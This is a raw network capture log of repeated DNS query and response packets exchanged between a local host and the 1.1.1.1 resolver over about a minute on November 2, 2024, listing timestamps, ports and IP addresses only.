Nov 2, 2024 03:57:11.049876928 CET	53	53952	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:11.049998045 CET	53952	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:11.057028055 CET	53	53952	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:11.331171036 CET	53	39684	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:11.331392050 CET	39684	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:11.337959051 CET	53	39684	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:12.348680973 CET	57725	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:12.350573063 CET	48040	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:12.357480049 CET	53	48040	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:12.357598066 CET	48040	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:12.364358902 CET	53	48040	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:12.440345049 CET	53	57725	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:12.440493107 CET	57725	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:12.446983099 CET	53	57725	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:13.619291067 CET	54680	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:13.620670080 CET	57036	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:13.711165905 CET	53	54680	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:13.711522102 CET	54680	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:13.712097883 CET	53	57036	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:13.712312937 CET	57036	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:13.718564987 CET	53	54680	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:13.718997002 CET	53	57036	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:14.730096102 CET	49657	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:14.735378027 CET	56466	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:14.741811037 CET	53	56466	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:14.823204994 CET	53	49657	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:14.823432922 CET	49657	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:14.830557108 CET	53	49657	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:15.109344006 CET	36021	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:15.113511086 CET	43216	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:15.201579094 CET	53	36021	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:15.205183029 CET	53	43216	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:15.205332994 CET	43216	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:15.212078094 CET	53	43216	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:16.221532106 CET	53230	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:16.222745895 CET	48332	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:16.228676081 CET	53	53230	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:16.228799105 CET	53230	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:16.229512930 CET	53	48332	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:16.229615927 CET	48332	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:16.235481024 CET	53	53230	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:16.235999107 CET	53	48332	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:17.368758917 CET	59257	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:17.369550943 CET	40375	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:17.375998020 CET	53	59257	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:17.376130104 CET	59257	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:17.383095026 CET	53	59257	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:17.678738117 CET	53	40375	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:17.679279089 CET	40375	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:17.685836077 CET	53	40375	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:18.849318027 CET	54185	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:18.849405050 CET	53744	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:18.856550932 CET	53	54185	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:18.856643915 CET	54185	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:18.863289118 CET	53	54185	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:19.174115896 CET	53	53744	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:19.174457073 CET	53744	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:19.181022882 CET	53	53744	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:20.189371109 CET	55528	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:20.191118002 CET	51641	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:20.430836916 CET	53	55528	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:20.431179047 CET	55528	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:20.437984943 CET	53	55528	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:20.513511896 CET	53	51641	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:20.513660908 CET	51641	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:20.520152092 CET	53	51641	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:21.531697989 CET	39098	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:21.531920910 CET	47247	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:21.619529009 CET	53	39098	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:21.619872093 CET	39098	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:21.624906063 CET	53	47247	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:21.625036955 CET	47247	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:21.626497984 CET	53	39098	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:21.631685019 CET	53	47247	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:22.647269964 CET	43428	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:22.647552013 CET	59837	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:22.654236078 CET	53	43428	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:22.654336929 CET	43428	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:22.654398918 CET	53	59837	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:22.654473066 CET	59837	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:22.660813093 CET	53	43428	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:22.660988092 CET	53	59837	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:23.670420885 CET	38258	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:23.670855045 CET	55719	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:23.759706020 CET	53	38258	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:23.760020018 CET	38258	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:23.762468100 CET	53	55719	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:23.762593985 CET	55719	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:23.766525030 CET	53	38258	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:23.769078016 CET	53	55719	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:24.780746937 CET	54827	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:24.782165051 CET	50603	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:24.789097071 CET	53	50603	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:24.789201975 CET	50603	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:24.795768976 CET	53	50603	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:24.874471903 CET	53	54827	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:24.874671936 CET	54827	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:24.881274939 CET	53	54827	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:25.891870022 CET	40143	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:25.892750025 CET	48331	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:25.899643898 CET	53	48331	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:25.899756908 CET	48331	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:25.906299114 CET	53	48331	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:25.980204105 CET	53	40143	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:25.980562925 CET	40143	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:25.987251043 CET	53	40143	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:27.000489950 CET	48135	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:27.004390001 CET	52947	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:27.011641979 CET	53	52947	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:27.011761904 CET	52947	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:27.019432068 CET	53	52947	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:27.093394995 CET	53	48135	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:27.093626022 CET	48135	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:27.100274086 CET	53	48135	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:28.110464096 CET	33266	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:28.110517979 CET	43690	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:28.117352009 CET	53	43690	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:28.117455006 CET	43690	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:28.118022919 CET	53	33266	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:28.118096113 CET	33266	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:28.124882936 CET	53	43690	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:28.125044107 CET	53	33266	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:29.977797031 CET	59714	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:29.982441902 CET	52514	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:29.985008955 CET	53	59714	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:29.985182047 CET	59714	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:29.989797115 CET	53	52514	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:29.989933968 CET	52514	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:29.991931915 CET	53	59714	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:29.996556044 CET	53	52514	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:31.004812956 CET	34322	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:31.005300999 CET	59136	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:31.101315975 CET	53	59136	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:31.101545095 CET	59136	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:31.108345032 CET	53	59136	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:31.318897963 CET	53	34322	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:31.319256067 CET	34322	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:31.326085091 CET	53	34322	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:32.333403111 CET	43088	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:32.335347891 CET	57737	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:32.340282917 CET	53	43088	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:32.340385914 CET	43088	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:32.342283010 CET	53	57737	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:32.342363119 CET	57737	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:32.347004890 CET	53	43088	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:32.348927975 CET	53	57737	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:33.485954046 CET	56234	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:33.491792917 CET	38913	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:33.492866039 CET	53	56234	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:33.492969036 CET	56234	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:33.499089003 CET	53	38913	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:33.499193907 CET	38913	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:33.499454021 CET	53	56234	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:33.505800009 CET	53	38913	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:34.518466949 CET	44996	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:34.518687010 CET	52714	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:34.525408030 CET	53	44996	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:34.525512934 CET	44996	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:34.525845051 CET	53	52714	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:34.525917053 CET	52714	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:34.532120943 CET	53	44996	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:34.532406092 CET	53	52714	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:35.543205976 CET	50542	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:35.543477058 CET	42117	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:35.550261021 CET	53	50542	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:35.550378084 CET	50542	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:35.550467014 CET	53	42117	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:35.550537109 CET	42117	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:35.556951046 CET	53	50542	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:35.556960106 CET	53	42117	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:36.565052032 CET	40794	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:36.565855980 CET	42289	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:36.879260063 CET	53	40794	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:36.879409075 CET	53	42289	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:36.879839897 CET	40794	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:36.879901886 CET	42289	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:36.886619091 CET	53	40794	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:36.886710882 CET	53	42289	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:38.060075998 CET	35578	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:38.061444998 CET	36035	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:38.068396091 CET	53	36035	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:38.068512917 CET	36035	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:38.074980021 CET	53	36035	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:38.374315977 CET	53	35578	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:38.374650002 CET	35578	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:38.381268024 CET	53	35578	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:39.390638113 CET	44739	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:39.393663883 CET	43699	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:39.400476933 CET	53	43699	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:39.400559902 CET	43699	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:39.407109022 CET	53	43699	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:39.632251024 CET	53	44739	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:39.632721901 CET	44739	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:39.639467001 CET	53	44739	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:40.651065111 CET	40684	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:40.657397985 CET	40168	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:40.658188105 CET	53	40684	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:40.658366919 CET	40684	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:40.664802074 CET	53	40684	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:40.747391939 CET	53	40168	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:40.747724056 CET	40168	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:40.754430056 CET	53	40168	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:41.764950991 CET	40911	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:41.765852928 CET	33600	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:41.771990061 CET	53	40911	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:41.772099972 CET	40911	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:41.772917032 CET	53	33600	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:41.772993088 CET	33600	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:41.778870106 CET	53	40911	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:41.779834032 CET	53	33600	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:42.790522099 CET	46729	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:42.792483091 CET	46936	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:42.802337885 CET	53	46936	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:42.802474976 CET	46936	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:42.811177969 CET	53	46936	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:43.110562086 CET	53	46729	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:43.110758066 CET	46729	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:43.117269039 CET	53	46729	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:44.129753113 CET	46851	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:44.129995108 CET	44845	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:44.137492895 CET	53	46851	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:44.137506008 CET	53	44845	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:44.137624979 CET	46851	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:44.137643099 CET	44845	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:44.144813061 CET	53	44845	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:44.144825935 CET	53	46851	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:45.153408051 CET	39757	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:45.156030893 CET	50870	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:45.160377979 CET	53	39757	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:45.160468102 CET	39757	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:45.166870117 CET	53	39757	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:45.469713926 CET	53	50870	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:45.469933987 CET	50870	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:45.476552010 CET	53	50870	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:46.611462116 CET	59978	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:46.611668110 CET	55811	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:46.618721008 CET	53	55811	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:46.618840933 CET	55811	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:46.625422001 CET	53	55811	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:46.703022957 CET	53	59978	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:46.703242064 CET	59978	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:46.709774017 CET	53	59978	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:48.087066889 CET	46376	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:48.089771032 CET	40686	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:48.093976021 CET	53	46376	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:48.094079971 CET	46376	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:48.096657991 CET	53	40686	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:48.096735954 CET	40686	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:48.100820065 CET	53	46376	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:48.103204012 CET	53	40686	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:49.114105940 CET	54944	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:49.118146896 CET	33792	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:49.202228069 CET	53	54944	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:49.202543020 CET	54944	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:49.209252119 CET	53	54944	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:49.440593958 CET	53	33792	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:49.441313982 CET	33792	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:49.448122025 CET	53	33792	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:50.456917048 CET	37262	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:50.459717035 CET	37971	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:50.464117050 CET	53	37262	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:50.464246035 CET	37262	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:50.466552019 CET	53	37971	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:50.466629982 CET	37971	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:50.470810890 CET	53	37262	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:50.473315954 CET	53	37971	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:51.485588074 CET	47702	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:51.488620996 CET	42647	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:51.495332956 CET	53	42647	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:51.495449066 CET	42647	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:51.502306938 CET	53	42647	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:51.577939987 CET	53	47702	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:51.578248024 CET	47702	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:51.584875107 CET	53	47702	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:52.721332073 CET	33369	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:52.721514940 CET	60495	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:52.728192091 CET	53	33369	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:52.728410006 CET	33369	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:52.734924078 CET	53	33369	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:52.809922934 CET	53	60495	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:52.810370922 CET	60495	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:52.817050934 CET	53	60495	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:53.825491905 CET	45838	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:53.829051018 CET	53549	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:53.832505941 CET	53	45838	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:53.832601070 CET	45838	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:53.838504076 CET	53	53549	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:53.838613033 CET	53549	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:53.841365099 CET	53	45838	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:53.845678091 CET	53	53549	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:54.853998899 CET	43454	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:54.854549885 CET	43601	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:54.861190081 CET	53	43454	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:54.861296892 CET	43454	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:54.861299992 CET	53	43601	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:54.861382008 CET	43601	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:54.870816946 CET	53	43454	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:54.870826960 CET	53	43601	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:55.877554893 CET	56567	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:55.879586935 CET	49322	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:55.886590004 CET	53	49322	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:55.886723042 CET	49322	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:55.893564939 CET	53	49322	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:56.117176056 CET	53	56567	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:56.117341042 CET	56567	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:56.123959064 CET	53	56567	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:57.131033897 CET	50825	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:57.133518934 CET	50097	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:57.138578892 CET	53	50825	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:57.138709068 CET	50825	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:57.145549059 CET	53	50825	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:57.670908928 CET	53	50097	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:57.671108961 CET	50097	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:57.677870035 CET	53	50097	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:58.687839985 CET	45440	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:58.690416098 CET	46088	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:58.697305918 CET	53	46088	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:58.697422028 CET	46088	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:58.704165936 CET	53	46088	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:59.019510031 CET	53	45440	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:59.019723892 CET	45440	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:59.026457071 CET	53	45440	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:00.034401894 CET	59900	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:00.037439108 CET	58267	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:00.045830011 CET	53	58267	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:00.045969963 CET	58267	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:00.052692890 CET	53	58267	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:00.127178907 CET	53	59900	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:00.127331018 CET	59900	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:00.133989096 CET	53	59900	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:01.142841101 CET	44708	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:01.146895885 CET	37461	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:01.150468111 CET	53	44708	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:01.150572062 CET	44708	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:01.153907061 CET	53	37461	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:01.153985977 CET	37461	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:01.157103062 CET	53	44708	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:01.160674095 CET	53	37461	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:02.168577909 CET	43787	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:02.169222116 CET	60103	53	192.168.2.15	1.1.1.1
